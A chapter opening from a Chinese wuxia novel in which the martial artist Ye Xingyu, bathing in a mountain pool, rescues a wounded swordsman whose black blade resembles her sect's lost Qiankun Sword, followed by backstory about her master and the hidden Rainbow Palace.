朝阳已经升起,新的一天已经来临。

可是人的生命,是否能够像太阳一般从西天落下,再从东方升起?

第四卷 幻剑啸乾坤 第001章 彩虹宫主

湛蓝的天空上飘着朵朵白云。白云下面,是绵延不断,一碧万里的群山。群山的怀抱中,有一处景色宜人的幽谷。幽谷的东南角,有一蓄满清澈泉水的绿潭。

太阳缓缓升起,树林里渐渐明亮起来。空气清爽而朗澈。鸟儿们在叽叽喳喳的叫声中开始了新一天的劳作。嫩绿的草上缀满像宝石一样发出耀眼光彩的露沁,”

小潭里,正有一个曼妙少女在洗浴。浑圆的削肩,傲人坚挺的胸脯,粉藕似的双臂,盈盈一握的小蛮腰。纤腰以下全在潭水之中,让人看不清楚。不过,单从她那万种风情的上身来看,水里的风光一定也不会逊色。

她此时正低着娇首,用玉葱般的纤纤十指正在抚洗着乌黑的长发。她全身的皮肤有如刚刚剥开壳的鸡蛋,细腻嫩滑而又有弹性;又像是婴儿的肌肤,牛奶白中含有粉色。

为了更好地抚洗黑发,她微微地侧仰起头,露出一张清秀的脸庞。白里透红的瓜子脸,眉如远山,鼻子玲珑而微翘,小嘴上有稍厚的红唇。

最让人心动的,却是她的那双眼睛。她的眼睛并不大,给人的感觉是永远都微微眯起,眼里贮藏的,不是一汪清水,而是一团迷雾,显得朦胧,飘渺。由于眼睛微眯,致使她的眉头轻皱。这不单没有破坏她的美丽,反而更增韵致,我见犹怜。

看她在小潭中裸着胴体却又如此从容淡定的样子,可见她非常了解小潭周围的一切。这个时刻,她知道绝对没有人会来打扰她的。

好一幅美人出浴图!

清水出芙蓉,天然去雕饰,只怕用在她的身上,是再贴切不过。

晨光,树林,绿草,露珠,还有清水潭中的裸身少女,本是一幅极为和谐的图画。

可是,就在少女沐浴的小潭的另一侧,却有一个满身是血的人浮在水面,把周围的潭水都染红了,一幅完美的美人出浴图的韵味就此被破坏殆尽。

裸身少女微侧的俏脸,正好对着那个浮在水上的血人。她的双眼眯得更细,眉头也皱得更紧。本来迷朦的星眸却突然变得清澈无比,闪出一道厉芒。左手一引,放在潭边石上的长衫便凭空飞向纤纤玉指。

也不见她有什么动作,整个身形从清水中冒出,有如一条羊脂玉的美人鱼悬在空中,然后她迅速地将长衫展开穿在身上。这时,她的身形已经回落到水面。只见她突然玉掌翻出,双双击在水面,霎时。水花四溅,而她凭着水的反冲,有如一只起飞的白天鹅,划着一道弧线,向那个浮在水面的血人掠去。

小潭并不是很大,少女中间再次击水借力,便到了那血人的浮水处。

血人仰躺在水中,身上到处都有或深或浅的伤,不知泡在水中多久,有的伤口已经泛白。

少女凌空掠到血人上方。一指拂出,正是血人的喉结处。她裸露的身子,从未给哪一个男子看过。哪怕是见过她那清秀容貌的人,基本上都已经不在世上了。更何况是在她全身脱光衣裳的时候出现的——哪怕是一个受了重伤的人,也不能让他活着。

就在纤纤玉指要戳入血人喉结处时。少女突然瞥见血人右手的那柄剑。剑柄长半尺,剑锷是一个龙嘴,剑刃有如龙嘴里吐出的舌头。剑刃宽不及一寸,只有寸之七分。刃长三尺三,通体黝黑,却不时泛着幽幽蓝光。有一种摄人心魄的魔力。剑脊不是突出来的棱角。而是四下去成为一道血槽,剑尖呈三角锥形,棱角分明。

少女玉容一变。蓦地改指为爪,改戳为抓。她一把抓住血人的衣领,然后奋力将血人从潭水中拉出,再抛往最近的潭边。

血人“噗”的一声,跌落潭边的草丛中,一动不动。

少女随即身形移动,亦落到了岸上。金莲轻跺,整个人便落到了血人一旁。她微蹲下去,长衫下是无限春光,还好面前地这个人并没有知觉。

少女伸出右手,迅速地搭在血人的左手手腕上。她发觉此人还有微弱的脉搏,似乎松了一口气。尔后,她费了一番力,才将血人右手的墨剑取出拿在手上仔细地端详起来。

墨剑的样子极像她祖师爷的乾坤剑。只不过乾坤剑是蓝汪汪的,手中这把剑却是墨色的。

少女的师傅去逝前曾经千叮万嘱她,乾坤剑一旦在江湖中出现,一定要千方百计保护好乾坤剑,甚至可以将乾坤剑抢走。

绝对不能让乾坤剑落入雪花谷或者是映日门的人手中。

原本每年都是她师傅出去打探乾坤剑的消息,可是到了她十六岁时,她挚爱的师傅去世了。她唯有亲自出去打探消息。

由于她的绝世容颜,她不得不戴上一个面具,以免惊世骇俗。

虽然只有十六岁,但她的武功却是一流的。出现江湖不久后,便被人排入十大青年高手行列。

虽然她一直都是谨小慎微,但毕竟只有十六岁。无意间还是向江湖人士露出过风华绝代的容颜。于是,她又被一些江湖中的好事者排入江湖七大美女的行列。

这位少女不是碧沙岛的夏语冰,也不是紫剑阁的姬月眉,却是一直被江湖中人认为是无门无派的叶星雨!

江湖中没有人知道,她正是彩虹宫的传人,是闻采虹的嫡传弟子。

二十年前,年逾花甲的闻采虹出去打探乾坤剑的消息时,救了一对遇上强盗的夫妇,只可惜两夫妇都没有活过来,只遗下一个三四岁的女婴。

闻采虹见女婴长得骨骼清奇,秀外慧中,是个习武奇才,便将她带回彩虹宫悉心教导。

这个女婴便是叶星雨。她没有辜负闻采虹的期望,在武学方面的确有着非凡的天分。在她十六岁的时候,便已经练到了乾坤心法的第四层。虽然乾坤老人教给闻采虹的乾坤心法还有不足,但在闻采虹自己的努力下,还是将心法尽可能地完善了。

以叶星雨乾坤心法第四层的武功,她在江湖中的年轻一辈中,的确可以跻身十大青年高手之列。在江湖中磨练了六七年,她的乾坤心法已经练至第六层,武功更是突飞猛进,几可与江湖中的十大高手媲美。

只是闻采虹嘱咐过她,在江湖中一定要保持低调,乾坤剑不出,就不能真正展现自己的实力。叶星雨不单视闻采虹为师傅,更把闻采虹当成了养育自己的母亲。因此,闻采虹的嘱托,她从不违背。

乾坤老人将闻采虹逐出师门,但闻采虹一点也不怨乾坤老人。她知道错不在师傅,而是曲向天。可是当时曲向天已经壮大,她无法与之相抗衡,只得忍气吞声地离开了乾坤老人,创建了彩虹宫。但她一直没有忘记乾坤老人的教诲,知道乾坤剑不能出现在江湖中,否则的话,梁梦庄与花弄雪是绝对不会安份的。于是她暗下决心,肩负起守护乾坤剑的责任,希望能因此而报达师恩。

当年武林正道围歼曲向天,闻采虹虽然没有出面,却在暗中给了正道相当大的助力。武林正道一直都十分感激这位神龙见首不见尾的神秘人。有了闻采虹的帮助,武林正道才更加了解曲向天的武功,也才能得以将曲向天打落问情崖。

也在那个时候开始,彩虹宫之名在江湖中流传开来。但也只限于流传,根本就没有人知道关于彩虹宫的一星半点情况。

彩虹宫在江湖中极其神秘,但是整个彩虹宫只有三个人。闻采虹与叶星雨师徒,还有一个比闻采虹稍小的老妪,专门负责二人的生活。

事实上,彩虹宫之名只是闻采虹当时向武林正道一时心血来潮说的。她觉得粱梦庄与花弄雪各建立了一个门派,自己亦不能示弱。只不过她一向生性淡泊,并无心处理门派事务。因而一直都没有壮大彩虹宫的想法。

叶星雨一直到十六岁,都一直生活在彩虹宫里。在闻采虹的教导下,她也养成了宁静淡泊的性情。从另一个角度来说,她也是生性对其他人没有什么感情。虽然正值豆蔻年华,但对于除师傅与那个老妪外的人,都是一副冷漠的态度。

六七年的江湖闯荡中,叶星雨亦遇到了许多人和事,但她都是以一颗冷淡的心来对待。对她好的,她亦只当作没有看见;对她使阴谋诡计的,她却是以秋风扫落叶之势,一一剪除。就算是有人在她面前被强盗之流杀死,她也不会有丝毫同情,但她最后会将那些强盗全都杀光。

从她的师傅开始,到现在自己在江湖中闯荡了六七年,乾坤剑依然没有任何消息。可是眼前这个尚留有脉搏的血人手中的剑,却与乾坤剑极其相似。

叶星雨望着手中的墨黑之剑,轻叹一声,然后轻易地提起血人,往树林里走去。